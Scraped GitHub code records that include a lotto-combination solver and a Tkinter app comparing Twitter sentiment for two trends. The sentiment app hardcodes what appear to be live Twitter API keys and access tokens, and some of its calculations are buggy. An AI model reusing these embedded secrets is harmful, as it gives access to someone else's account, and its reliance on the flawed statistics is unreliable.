app.run(debug=True)\n","repo_name":"ryandemo/product-parser","sub_path":"webservice/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12560413897","text":"import sys\r\n\r\ninput = sys.stdin.readline\r\n\r\ndef dfs(k, nums, nums_len, l):\r\n if len(l) == 6:\r\n print(' '.join(map(str, l)))\r\n return\r\n \r\n for i in range(k, nums_len):\r\n l.append(nums[i])\r\n dfs(i + 1, nums, nums_len, l)\r\n l.pop()\r\n\r\nwhile True:\r\n t = list(map(int, input().split()))\r\n if t[0] == 0:\r\n break\r\n k = t[0]\r\n nums = t[1:]\r\n l = []\r\n dfs(0, nums, k, l)\r\n print()","repo_name":"Charmull/Algorithm_Python","sub_path":"백준/Silver/6603. 로또/로또.py","file_name":"로또.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70401954828","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n#!pip install tweepy\n#!pip install regex\n#!pip install text2emotion\n#!pip install textblob\n#!pip install pandas\n#!pip install numpy\n#!pip install matplotlib\n#!pip install syspath\n#!pip install python-csv\nimport math\nimport sys,tweepy,csv,re\nimport text2emotion as te\nfrom textblob import TextBlob\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom tkinter import *\nfrom tkinter import messagebox\nimport winsound\nfrom PIL import Image\ndef quitar():\n if messagebox.askokcancel(\"Exit\",\"Are you sure want to Quit?\"):\n gui.destroy()\n\n\ndef cleanUpTweets(text):\n text = re.sub(r'@[A-Za-z0-9_]+', '', text)\n text = re.sub(r'#', '', text)\n text = re.sub(r'RT : ', '', text)\n text = re.sub(r'https?:\\/\\/[A-Za-z0-9\\.\\/]+', '', text)\n return text\n\ndef gettextSubjectivity(text):\n return TextBlob(text).sentiment.subjectivity\n\ndef percentagecalculator(list1):\n sum = 0\n for x in list1:\n sum = sum + x\n return sum\n\ndef generate_pie1():\n fig = plt.figure(figsize=(4, 4),dpi=100)\n y = np.array([happysum, sadsum, angersum, surprisesum, fearsum])\n mylabels = [\"HAPPY\", \"SAD\", \"ANGRY\", \"SURPRISE\", \"FEAR\"]\n colors = ['yellowgreen', 'lightcoral', 'gold', '#00ffff', '#4000ff']\n myexplode = [0.1, 0, 0, 0, 0]\n plt.pie(y, labels=mylabels, explode=myexplode, colors=colors, autopct='%1.1f%%', startangle=120)\n plt.legend(mylabels, loc=(-0.05, 0.05), shadow=True)\n plt.title('Reaction of '+ searchTerm1 +' by analyzing ' + str(NoOfTerms) + ' Tweets.')\n plt.axis('equal')\n canvasbar=FigureCanvasTkAgg(fig,master=subcmd)\n canvasbar.draw()\n canvasbar.get_tk_widget().place(x=50,y=100)\n\ndef generate_pie2():\n fig = plt.figure(figsize=(4, 4),dpi=100)\n y = np.array([happysum2, sadsum2, angersum2, surprisesum2, fearsum2])\n mylabels = [\"HAPPY\", \"SAD\", \"ANGRY\", \"SURPRISE\", \"FEAR\"]\n colors = ['yellowgreen', 'lightcoral', 'gold', '#00ffff', '#4000ff']\n myexplode = [0.1, 0, 0, 0, 0]\n plt.pie(y, labels=mylabels, explode=myexplode, colors=colors, autopct='%1.1f%%', startangle=120)\n plt.legend(mylabels, loc=(-0.05, 0.05), shadow=True)\n plt.title('Reaction of '+searchTerm2+ ' by analyzing ' + str(NoOfTerms) + ' Tweets.')\n plt.axis('equal')\n canvasbar=FigureCanvasTkAgg(fig,master=subcmd)\n canvasbar.draw()\n canvasbar.get_tk_widget().place(x=500,y=100)\n\ndef plotPieChart1():\n fig = plt.figure(figsize=(3.8, 4.6),dpi=100)\n\n labels = ['Positive [' + str(positive) + '%]', 'Weakly Positive [' + str(wpositive) + '%]','Strongly Positive [' + str(spositive) + '%]', 'Neutral [' + str(neutral) + '%]',\n 'Negative [' + str(negative) + '%]', 'Weakly Negative [' + str(wnegative) + '%]', 'Strongly Negative [' + str(snegative) + '%]']\n sizes = [positive, wpositive, spositive, neutral, negative, wnegative, snegative]\n colors = ['yellowgreen','lightgreen','darkgreen', 'gold', 'red','lightsalmon','darkred']\n myexplode = [0.1, 0, 0, 0,0,0,0]\n patches, texts = plt.pie(sizes, colors=colors, startangle=90)\n plt.legend(patches, labels, loc=(-0.05,0.05))\n plt.title('Reaction of ' + searchTerm1 + ' by analyzing ' + str(NoOfTerms) + ' Tweets.')\n plt.axis('equal')\n #plt.tight_layout()\n canvasbar=FigureCanvasTkAgg(fig,master=top)\n canvasbar.draw()\n canvasbar.get_tk_widget().place(x=35,y=110)\n\ndef plotPieChart2():\n fig = plt.figure(figsize=(3.8, 4.6),dpi=100)\n\n labels = ['Positive [' + str(positive2) + '%]', 'Weakly Positive [' + str(wpositive2) + '%]','Strongly Positive [' + str(spositive2) + '%]', 'Neutral [' + str(neutral2) + '%]',\n 'Negative [' + str(negative2) + '%]', 'Weakly Negative [' + str(wnegative2) + '%]', 'Strongly Negative [' + str(snegative2) + '%]']\n sizes = [positive2, wpositive2, spositive2, neutral2, negative2, wnegative2, snegative2]\n colors = ['yellowgreen','lightgreen','darkgreen', 'gold', 'red','lightsalmon','darkred']\n myexplode = [0.1, 0, 0, 0,0,0,0]\n patches, texts = plt.pie(sizes, colors=colors, startangle=90)\n plt.legend(patches, labels, loc=(-0.05,0.05))\n plt.title('Reaction of ' + searchTerm2 + ' by analyzing ' + str(NoOfTerms) + ' Tweets.')\n plt.axis('equal')\n #plt.tight_layout()\n canvasbar=FigureCanvasTkAgg(fig,master=top)\n canvasbar.draw()\n canvasbar.get_tk_widget().place(x=520,y=110)\n\n\ndef comp():\n global compa\n compa =Toplevel()\n compa.config(background=\"linen\")\n compa.geometry(\"640x700\")\n compa.title(\"Polarity graph\")\n Label(compa,text=\"Polarity Comparision \",fg=\"maroon1\",bg=\"linen\",font=\"comicon 28 bold\").place(x=170,y=20)\n generate_bar_p()\n\n\n\ndef generate_bar_p():\n barWidth = 0.25\n fig1 = plt.figure(figsize=(6, 6),dpi=100)\n\n #data31=['strongly negative','negative','weakly negative','neutral','weakly positive','positive','strongly positive']\n data32= [snegative,negative,wnegative,neutral,wpositive,positive,spositive]\n data33= [snegative2,negative2,wnegative2,neutral2,wpositive2,positive2,spositive2]\n\n br1 = np.arange(len(data32))\n br2 = [x + barWidth for x in br1]\n plt.bar(br1, data32, color ='r', width = barWidth,\n\t\t edgecolor ='grey', label =searchTerm1)\n plt.bar(br2, data33, color ='g', width = barWidth,\n\t\t edgecolor ='grey', label =searchTerm2)\n plt.xlabel('Polarity', fontweight ='bold', fontsize = 15)\n plt.xticks([r + barWidth for r in range(len(data32))],['strongly\\n negative','negative','weakly\\n negative','neutral','weakly\\n positive','positive','strongly \\npositive'])\n plt.legend()\n #plt.show()\n canvasbar=FigureCanvasTkAgg(fig1,master=compa)\n canvasbar.draw()\n canvasbar.get_tk_widget().place(x=20,y=90)\n \n\n\n\n #df3 = pd.DataFrame(\n # { 'Polarity' : data31 , \n # 'Trend1': data32 , \n # 'Trend2': data33})\n #print(df3)\n #ax = plt.gca()\n\n #df3.plot( x = 'Polarity' , y = 'Trend1', ax = ax )\n #df3.plot( x = 'Polarity' , y = 'Trend2' , ax = ax )\n #plt.show()\n \ndef generate_line_g():\n fig1 = plt.figure(figsize=(6, 6),dpi=100)\n data31=['HAPPY','SAD','SURPRISE','ANGER','FEAR']\n data311=[1,2,3,4,5]\n data32= [happysum,sadsum,surprisesum,angersum,fearsum]\n data33= [happysum2,sadsum2,surprisesum2,angersum2,fearsum2]\n df3 = pd.DataFrame(\n { 'Polarity' : data31 , \n 'dum' :data311,\n 'Trend1': data32 , \n 'Trend2': data33})\n #print(df3)\n plt.plot(df3['Polarity'], df3['Trend1'])\n plt.plot(df3['Polarity'], df3['Trend2'],'-.')\n plt.legend([searchTerm1,searchTerm2])\n canvasbar=FigureCanvasTkAgg(fig1,master=lgraph)\n canvasbar.draw()\n canvasbar.get_tk_widget().place(x=20,y=80)\n\n #ax = plt.gca()\n\n #df3.plot( x = 'Polarity' , y = 'Trend1', ax = ax )\n #df3.plot( x = 'Polarity' , y = 'Trend2' , ax = ax )\n #plt.show()\n\ndef linegraph():\n global lgraph\n lgraph=Toplevel()\n lgraph.config(background=\"linen\")\n lgraph.geometry(\"640x700\")\n lgraph.title(\"Line graph of subjectivity\")\n Label(lgraph,text=\"Line graph of subjectivity\",fg=\"maroon1\",bg=\"linen\",font=\"comicon 28 bold\").place(x=120,y=20)\n generate_line_g()\n\n\n\ndef detail_report_p1():\n global report_p1\n\n\n report_p1 = Toplevel()\n report_p1.geometry(\"600x500\")\n report_p1.config(background=\"white\")\n #fondoo = PhotoImage(file= r'C:\\Users\\Pawan Kumar\\PycharmProjects\\pythonProject1\\img\\bru.png')\n #background_label = Label(top, image=fondoo)\n #background_label.place(x=0, y=0, relwidth=1, relheight=1)\n report_p1.maxsize(600,500)\n report_p1.minsize(600,500)\n #winsound.PlaySound('C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\win2sd.wav',winsound.SND_ALIAS | winsound.SND_ASYNC)\n #top.iconbitmap(\"C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\icoo.ico\")\n report_p1.title(\"Detailed report\")\n Label(report_p1, text=\" Polarity Analysis of \"+searchTerm1, fg=\"white\", bg=\"gold2\", font=\"Aril 20 bold\").place(x=125, y=40)\n\n \n Label(report_p1,text=\"positive= \\n\\nweakly positive= \\n\\nstrongly positive= \\n\\nnegative= \\n\\nweakly negative= \\n\\nstrongly negative= \\n\\nneutral= \",fg=\"gold2\",bg=\"white\",font=\"comicon 15 bold\").place(x=125,y=120)\n\n get_positive = Entry(report_p1, font=\"comincon 15 bold\", fg=\"red\", bg=\"white\",width =17)\n get_wpositive = Entry(report_p1, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_spositive = Entry(report_p1, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_negative = Entry(report_p1, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_wnegative = Entry(report_p1, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_snegative = Entry(report_p1, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_neutral = Entry(report_p1, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n\n get_positive.place(x=300,y=125)\n get_wpositive.place(x=300,y=170)\n get_spositive.place(x=300,y=217)\n get_negative.place(x=300,y=263)\n get_wnegative.place(x=300,y=311)\n get_snegative.place(x=300,y=358)\n get_neutral.place(x=300,y=405) \n\n get_positive.insert(0, str(positive))\n get_wpositive.insert(0, str(wpositive))\n get_spositive.insert(0, str(spositive))\n get_negative.insert(0, str(negative))\n get_wnegative.insert(0, str(wnegative))\n get_snegative.insert(0,str(snegative))\n get_neutral.insert(0,str(neutral))\n\ndef detail_report_p2():\n global report_p2\n \n report_p2 = Toplevel()\n report_p2.geometry(\"600x500\")\n report_p2.config(background=\"white\")\n #fondoo = PhotoImage(file= r'C:\\Users\\Pawan Kumar\\PycharmProjects\\pythonProject1\\img\\bru.png')\n #background_label = Label(top, image=fondoo)\n #background_label.place(x=0, y=0, relwidth=1, relheight=1)\n report_p2.maxsize(600,500)\n report_p2.minsize(600,500)\n #winsound.PlaySound('C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\win2sd.wav',winsound.SND_ALIAS | winsound.SND_ASYNC)\n #top.iconbitmap(\"C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\icoo.ico\")\n report_p2.title(\"Detailed report\")\n Label(report_p2, text=\" Polarity Analysis of \"+searchTerm2, fg=\"white\", bg=\"gold2\", font=\"Aril 20 bold\").place(x=125, y=40)\n\n \n Label(report_p2,text=\"positive= \\n\\nweakly positive= \\n\\nstrongly positive= \\n\\nnegative= \\n\\nweakly negative= \\n\\nstrongly negative= \\n\\nneutral= \",fg=\"gold2\",bg=\"white\",font=\"comicon 15 bold\").place(x=125,y=120)\n\n get_positive2 = Entry(report_p2, font=\"comincon 15 bold\", fg=\"red\", bg=\"white\",width =17)\n get_wpositive2 = Entry(report_p2, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_spositive2= Entry(report_p2, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_negative2 = Entry(report_p2, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_wnegative2 = Entry(report_p2, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_snegative2 = Entry(report_p2, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_neutral2 = Entry(report_p2, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n\n get_positive2.place(x=300,y=125)\n get_wpositive2.place(x=300,y=170)\n get_spositive2.place(x=300,y=217)\n get_negative2.place(x=300,y=263)\n get_wnegative2.place(x=300,y=311)\n get_snegative2.place(x=300,y=358)\n get_neutral2.place(x=300,y=405) \n\n get_positive2.insert(0, str(positive2))\n get_wpositive2.insert(0, str(wpositive2))\n get_spositive2.insert(0, str(spositive2))\n get_negative2.insert(0, str(negative2))\n get_wnegative2.insert(0, str(wnegative2))\n get_snegative2.insert(0,str(snegative2))\n get_neutral2.insert(0,str(neutral2))\n\nclass SentimentAnalysis:\n \n\n def __init__(self):\n self.tweets = []\n self.tweetText = []\n \n global df\n global pf\n df = pd.DataFrame()\n pf= pd.DataFrame()\n happysum = 0\n sadsum = 0\n angersum = 0\n surprisesum = 0\n fearsum = 0\n def cleanTweet(self, tweet):\n # Remove Links, Special Characters etc from tweet\n return ' '.join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t]) | (\\w +:\\ / \\ / \\S +)\", \" \", tweet).split())\n\n # function to calculate percentage\n def percentage(self, part, whole):\n temp = 100 * float(part) / float(whole)\n return format(temp, '.2f')\n\n \n\n def DownloadData(self):\n # authenticating\n consumerKey = 'NzlZ7EMQACK3Bd57PciFbDTo4'\n consumerSecret = '41x25GG8MGHcfIMpSF7iP23Jja523Vd7NPU8xfONtJyLcsErcM'\n accessToken = '1385823909434384385-h1uwrt1m7QjkHmO1dRIMTDZmWXo6bL'\n accessTokenSecret = 'llWi3oWxoLvDIDVLiQOqdynTts2Y5lyO6ENkT557Or7Mo'\n auth = tweepy.OAuthHandler(consumerKey, consumerSecret)\n auth.set_access_token(accessToken, accessTokenSecret)\n api = tweepy.API(auth)\n global searchTerm1\n global searchTerm2\n global NoOfTerms\n searchTerm1 = entry_trend1.get()\n searchTerm2 = entry_trend2.get()\n NoOfTerms = int(entry_nooftweets.get())\n\n # searching for tweets\n self.tweets = tweepy.Cursor(api.search, q=searchTerm1, lang = \"en\").items(NoOfTerms)\n \n \n global df\n all_tweets=[]\n for tweet in self.tweets:\n all_tweets.append(tweet.text)\n df['Tweet']=all_tweets\n df['Tweet'] = df['Tweet'].apply(cleanUpTweets)\n df = df.drop(df[df['Tweet'] == ''].index)\n df['Subjectivity'] = df['Tweet'].apply(gettextSubjectivity)\n \n \n \n lt = df['Tweet']\n Happy = []\n Sad = []\n Angry = []\n Surprise = []\n Fear = []\n \n for text in lt:\n dict = te.get_emotion(text)\n for key in dict:\n if (key == \"Happy\"):\n Happy.append(dict[key])\n elif (key == \"Sad\"):\n Sad.append(dict[key])\n elif (key == \"Angry\"):\n Angry.append(dict[key])\n elif (key == \"Surprise\"):\n Surprise.append(dict[key])\n else:\n Fear.append(dict[key])\n df['HAPPY'] = Happy\n df['SAD'] = Sad\n df['ANGRY'] = Angry\n df['SURPRISE'] = Surprise\n df['FEAR'] = Fear\n \n global happysum\n happysum = percentagecalculator(Happy)\n global sadsum\n sadsum = percentagecalculator(Sad)\n global angersum\n angersum = percentagecalculator(Angry)\n global surprisesum\n surprisesum = percentagecalculator(Surprise)\n global fearsum\n fearsum = percentagecalculator(Fear)\n total = 0\n totalsum = zip(Happy, Sad, Angry, Surprise, Fear)\n \n for x in totalsum:\n for y in x:\n total = total + y\n\n \n \n \n \n # creating some variables to store info\n global positive\n global wpositive\n global spositive\n global negative\n global wnegative\n global snegative\n global neutral\n polarity = 0\n positive = 0\n wpositive = 0\n spositive = 0\n negative = 0\n wnegative = 0\n snegative = 0\n neutral = 0\n \n self.tweets = tweepy.Cursor(api.search, q=searchTerm1, lang = \"en\").items(NoOfTerms) #lets see \n # iterating through tweets fetched\n for tweet in self.tweets:\n #Append to temp so that we can store in csv later. I use encode UTF-8\n self.tweetText.append(self.cleanTweet(tweet.text).encode('utf-8'))\n #print ('henlo',tweet.text.translate(non_bmp_map)) #print tweet's text\n analysis = TextBlob(tweet.text)\n # print(analysis.sentiment) # print tweet's polarity\n polarity += analysis.sentiment.polarity # adding up polarities to find the average later\n \n \n if (analysis.sentiment.polarity == 0): # adding reaction of how people are reacting to find average later\n neutral += 1\n elif (analysis.sentiment.polarity > 0 and analysis.sentiment.polarity <= 0.3):\n wpositive += 1\n elif (analysis.sentiment.polarity > 0.3 and analysis.sentiment.polarity <= 0.6):\n positive += 1\n elif (analysis.sentiment.polarity > 0.6 and analysis.sentiment.polarity <= 1):\n spositive += 1\n elif (analysis.sentiment.polarity > -0.3 and analysis.sentiment.polarity <= 0):\n wnegative += 1\n elif (analysis.sentiment.polarity > -0.6 and analysis.sentiment.polarity <= -0.3):\n negative += 1\n elif (analysis.sentiment.polarity > -1 and analysis.sentiment.polarity <= -0.6):\n snegative += 1\n \n\n\n # finding average of how people are reacting\n positive = self.percentage(positive, NoOfTerms)\n wpositive = self.percentage(wpositive, NoOfTerms)\n spositive = self.percentage(spositive, NoOfTerms)\n negative = self.percentage(negative, NoOfTerms)\n wnegative = self.percentage(wnegative, NoOfTerms)\n snegative = self.percentage(snegative, NoOfTerms)\n neutral = self.percentage(neutral, NoOfTerms)\n\n # finding average reaction\n polarity = polarity / NoOfTerms\n\n\n x=\" \"\n if (polarity > -0.01 and polarity <= 0.01):\n x=\"Neutral\"\n elif (polarity > 0.01 and polarity <= 0.3):\n x=\"Weakly Positive\"\n elif (polarity > 0.3 and polarity <= 0.6):\n x=\"Positive\"\n elif (polarity > 0.6 and polarity <= 1):\n x=\"Strongly Positive\"\n elif (polarity > -0.3 and polarity <= -0.01):\n x=\"Weakly Negative\"\n elif (polarity > -0.6 and polarity <= -0.3):\n x=\"Negative\"\n elif (polarity > -1 and polarity <= -0.6):\n x=\"Strongly Negative\"\n \n get_x.insert(0,str(x))\n\n\n\n\n\n \n self.tweets = tweepy.Cursor(api.search, q=searchTerm2, lang = \"en\").items(NoOfTerms)\n \n\n \n global pf\n all_tweets=[]\n for tweet in self.tweets:\n all_tweets.append(tweet.text)\n pf['Tweet2']=all_tweets\n pf['Tweet2'] = pf['Tweet2'].apply(cleanUpTweets)\n pf = pf.drop(pf[pf['Tweet2'] == ''].index)\n pf['Subjectivity2'] = pf['Tweet2'].apply(gettextSubjectivity)\n \n \n \n lt = pf['Tweet2']\n Happy = []\n Sad = []\n Angry = []\n Surprise = []\n Fear = []\n \n for text in lt:\n dict = te.get_emotion(text)\n for key in dict:\n if (key == \"Happy\"):\n Happy.append(dict[key])\n elif (key == \"Sad\"):\n Sad.append(dict[key])\n elif (key == \"Angry\"):\n Angry.append(dict[key])\n elif (key == \"Surprise\"):\n Surprise.append(dict[key])\n else:\n Fear.append(dict[key])\n pf['HAPPY2'] = Happy\n pf['SAD2'] = Sad\n pf['ANGRY2'] = Angry\n pf['SURPRISE2'] = Surprise\n pf['FEAR2'] = Fear\n \n global happysum2\n happysum2 = percentagecalculator(Happy)\n global sadsum2\n sadsum2 = percentagecalculator(Sad)\n global angersum2\n angersum2 = percentagecalculator(Angry)\n global surprisesum2\n surprisesum2 = percentagecalculator(Surprise)\n global fearsum2\n fearsum2 = percentagecalculator(Fear)\n total = 0\n totalsum2 = zip(Happy, Sad, Angry, Surprise, Fear)\n \n for x in totalsum2:\n for y in x:\n total = total + y\n \n happypercent = (happysum2 / total) * 100\n happypercent=round(happypercent,2)\n #print('happy= ',happypercent,'%')\n sadpercent = (sadsum2 / total) *100\n sadpercent=round(sadpercent,2)\n #print('sad= ',sadpercent,'%')\n angerpercent = (angersum2 / total) * 100\n angerpercent=round(angerpercent,2)\n #print('angry= ',angerpercent,'%')\n surprisepercent = (surprisesum2 / total) * 100\n surprisepercent=round(surprisepercent,2)\n #print('surprise= ',surprisepercent,'%')\n fearpercent = (fearsum2 / total) * 100\n fearpercent=round(fearpercent,2)\n #print('fear= ',fearpercent,'%')\n \n \n \n \n # creating some variables to store info\n global positive2\n global wpositive2\n global spositive2\n global negative2\n global wnegative2\n global snegative2\n global neutral2\n polarity2 = 0\n positive2 = 0\n wpositive2 = 0\n spositive2= 0\n negative2 = 0\n wnegative2 = 0\n snegative2 = 0\n neutral2 = 0\n \n self.tweets = tweepy.Cursor(api.search, q=searchTerm2, lang = \"en\").items(NoOfTerms) #lets see \n # iterating through tweets fetched\n for tweet in self.tweets:\n #Append to temp so that we can store in csv later. I use encode UTF-8\n self.tweetText.append(self.cleanTweet(tweet.text).encode('utf-8'))\n #print ('henlo',tweet.text.translate(non_bmp_map)) #print tweet's text\n analysis = TextBlob(tweet.text)\n # print(analysis.sentiment) # print tweet's polarity\n polarity += analysis.sentiment.polarity # adding up polarities to find the average later\n \n \n if (analysis.sentiment.polarity == 0): # adding reaction of how people are reacting to find average later\n neutral2 += 1\n elif (analysis.sentiment.polarity > 0 and analysis.sentiment.polarity <= 0.3):\n wpositive2 += 1\n elif (analysis.sentiment.polarity > 0.3 and analysis.sentiment.polarity <= 0.6):\n positive2 += 1\n elif (analysis.sentiment.polarity > 0.6 and analysis.sentiment.polarity <= 1):\n spositive2 += 1\n elif (analysis.sentiment.polarity > -0.3 and analysis.sentiment.polarity <= 0):\n wnegative2 += 1\n elif (analysis.sentiment.polarity > -0.6 and analysis.sentiment.polarity <= -0.3):\n negative2 += 1\n elif (analysis.sentiment.polarity > -1 and analysis.sentiment.polarity <= -0.6):\n snegative2 += 1\n \n # finding average of how people are reacting\n positive2 = self.percentage(positive2, NoOfTerms)\n wpositive2 = self.percentage(wpositive2, NoOfTerms)\n spositive2 = self.percentage(spositive2, NoOfTerms)\n negative2 = self.percentage(negative2, NoOfTerms)\n wnegative2 = self.percentage(wnegative2, NoOfTerms)\n snegative2 = self.percentage(snegative2, NoOfTerms)\n neutral2 = self.percentage(neutral2, NoOfTerms)\n\n # finding average reaction\n polarity2 = polarity2 / NoOfTerms\n \n y=\" \"\n if (polarity2 > -0.01 and polarity2 <= 0.01):\n y=\"Neutral\"\n elif (polarity2 > 0.01 and polarity2 <= 0.3):\n y=\"Weakly Positive\"\n elif (polarity2 > 0.3 and polarity2 <= 0.6):\n y=\"Positive\"\n elif (polarity2 > 0.6 and polarity2 <= 1):\n y=\"Strongly Positive\"\n elif (polarity2 > -0.3 and polarity2 <= -0.01):\n y=\"Weakly Negative\"\n elif (polarity2 > -0.6 and polarity2 <= -0.3):\n y=\"Negative\"\n elif (polarity2 > -1 and polarity2 <= -0.6):\n y=\"Strongly Negative\"\n \n get_y.insert(0,str(y))\ndef correlation():\n global correlationn\n mean_x=(happysum+sadsum+fearsum+surprisesum+angersum)/5\n mean_y=(happysum2+sadsum2+fearsum2+surprisesum2+angersum2)/5\n\n sum_1=(happysum-mean_x)*(happysum2-mean_y)+(sadsum-mean_x)*(sadsum2-mean_y)+(fearsum-mean_x)*(fearsum2-mean_y)+(surprisesum-mean_x)*(surprisesum2-mean_y)+(angersum-mean_x)*(angersum2-mean_y)\n sum_2=math.sqrt(((happysum-mean_x)**2+(sadsum-mean_x)**2+(fearsum-mean_x)**2+(surprisesum-mean_x)**2+(angersum-mean_x)**2)*((happysum2-mean_x)**2+(sadsum2-mean_x)**2+(fearsum2-mean_x)**2+(surprisesum2-mean_x)**2+(angersum2-mean_x)**2))\n correlationn=sum_1/sum_2\n correlationn=round(correlationn,3)\n\n\ndef subjectivity_cmd():\n global subcmd\n subcmd =Toplevel()\n subcmd.geometry(\"950x700\")\n subcmd.config(background=\"white\")\n #subcmd.iconbitmap(\"C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\icoo.ico\")\n subcmd.title(\"Plots of Subjectivity\")\n generate_pie1()\n generate_pie2()\n correlation()\n Label(subcmd,text=\"CORRELATION OF THE TWO GRAPHS IS: \",font=\"comicon 20 bold\").place(x=100,y=500)\n line_graph=Button(master=subcmd, fg=\"blue\", bg=\"SpringGreen2\",font=\"comincon 18 bold\",command=linegraph,text=\"Line Graph\")\n \n get_correlation= Entry(subcmd, font=\"comicon 15 bold\", fg=\"red\", bg=\"white\", width=17)\n get_correlation.place(x=700,y=500) \n get_correlation.insert(0, str(correlationn))\n line_graph.place(x=400,y=600)\n \n\n\n\n\n\n\n\ndef open():\n global top\n global get_x\n global get_y\n\n top = Toplevel()\n top.geometry(\"950x700\")\n top.config(background=\"white\")\n #fondoo = PhotoImage(file= r'C:\\Users\\Pawan Kumar\\PycharmProjects\\pythonProject1\\img\\bru.png')\n #background_label = Label(top, image=fondoo)\n #background_label.place(x=0, y=0, relwidth=1, relheight=1)\n #top.maxsize(1000,1000)\n #top.minsize(1000,1000)\n winsound.PlaySound('C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\win2sd.wav',winsound.SND_ALIAS | winsound.SND_ASYNC)\n top.iconbitmap(\"C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\icoo.ico\")\n top.title(\"Plots of Sentiment analysis\")\n Label(top, text=\"General Report :\", fg=\"green\", bg=\"white\", font=\"Aril 15 bold\").place(x=50, y=40)\n Label(top, text=\"General Report :\", fg=\"green\", bg=\"white\", font=\"Aril 15 bold\").place(x=545, y=40)\n get_x = Entry(top, font=\"comincon 15 bold\", fg=\"red\", bg=\"white\",width =17)\n get_y = Entry(top, font=\"comincon 15 bold\", fg=\"red\", bg=\"white\",width =17)\n detail_button1 = Button(master=top,height=1,width=20,command=detail_report_p1,text=\"More Detailed Report\")\n detail_button2= Button(master=top,height=1,width=20,command=detail_report_p2,text=\"More Detailed Report\")\n subjectivity_button=Button(master=top,fg=\"blue\", bg=\"SpringGreen2\",font=\"comicon 18 bold\",command=subjectivity_cmd,text=\"Subjectivity\")\n compare_p_button=Button(master=top, fg=\"blue\", bg=\"SpringGreen2\",font=\"comincon 18 bold\",command=comp,text=\"Compare Polarity\")\n\n get_x.place(x=230,y=40)\n get_y.place(x=720,y=40)\n detail_button1.place(x=150,y=80)\n detail_button2.place(x=650,y=80)\n subjectivity_button.place(x=150,y=600)\n compare_p_button.place(x=600,y=600)\n sa = SentimentAnalysis()\n sa.DownloadData()\n plotPieChart1()\n plotPieChart2()\n\n\n\nif __name__== \"__main__\":\n gui = Tk()\n fondo = PhotoImage(file= r'C:\\Users\\Pawan Kumar\\PycharmProjects\\pythonProject1\\img\\b7.png')\n background_label = Label(gui, image=fondo)\n background_label.place(x=0, y=0, relwidth=1, relheight=1)\n gui.geometry(\"900x463\")\n gui.maxsize(900,463)\n gui.minsize(900,463)\n gui.title(\"Welcome to twitter Sentiment analysis\")\n winsound.PlaySound('C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\snd.wav', winsound.SND_ALIAS | winsound.SND_ASYNC)\n gui.iconbitmap(\"C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\icoo.ico\")\n title = Label(gui, text=\"Comparing Sentiments of Two Trends\", fg=\"white\", bg=\"pink1\", font=\"comicon 25 bold\").place(x=150,y=80)\n account1 = Label(gui, text=\"Enter the First \\n Trend :\", fg=\"red3\", bg=\"white\", font=\"comicon 15 bold\").place(x=40,y=155)\n account2 = Label(gui, text=\"Enter the Second\\n Trend :\", fg=\"red3\", bg=\"white\", font=\"comicon 15 bold\").place(x=450,y=155)\n entry_trend1 = Entry(gui, font=\"comicon 15 bold\")\n entry_trend2= Entry(gui, font=\"comicon 15 bold\")\n\n nooftweets = Label(gui, text=\"Number of Tweets :\", fg=\"red3\", bg=\"white\", font=\"comicon 15 bold\").place(x=220,y=280)\n entry_nooftweets = Entry(gui, font=\"comicon 13 bold\",width=10)\n submit_button = Button(gui, bg=\"red3\",font=\"comicon 15 bold\",borderwidth=3,command=open, height=1, width=4).place(x=385,y=340)\n #login_btn = PhotoImage(file=\"C:\\\\Users\\\\Pawan Kumar\\\\PycharmProjects\\\\pythonProject1\\\\img\\\\letgobutn4.png\")\n #submit_button= Button(gui,text=\"LEts go\", image=login_btn,command=open,borderwidth=2)\n #submit_button.place(x=145,y=220)\n #gui.protocol(\"WM_DELETE_WINDOW\", quitar)\n\n entry_trend1.place(x=205,y=167)\n entry_trend2.place(x=645,y=167)\n entry_nooftweets.place(x=470,y=284)\n\n\n\n gui.mainloop()\n\n","repo_name":"GollumSmeagol/SentimentAnalysis","sub_path":"final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":29309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"924253993","text":"import numpy as np\n\nfrom .Model import Model\nfrom ..parameters import Parameters\n\nclass ExpRampModel(Model):\n \"\"\"Model for single or double exponential ramps\"\"\"\n def __init__(self, **kwargs):\n 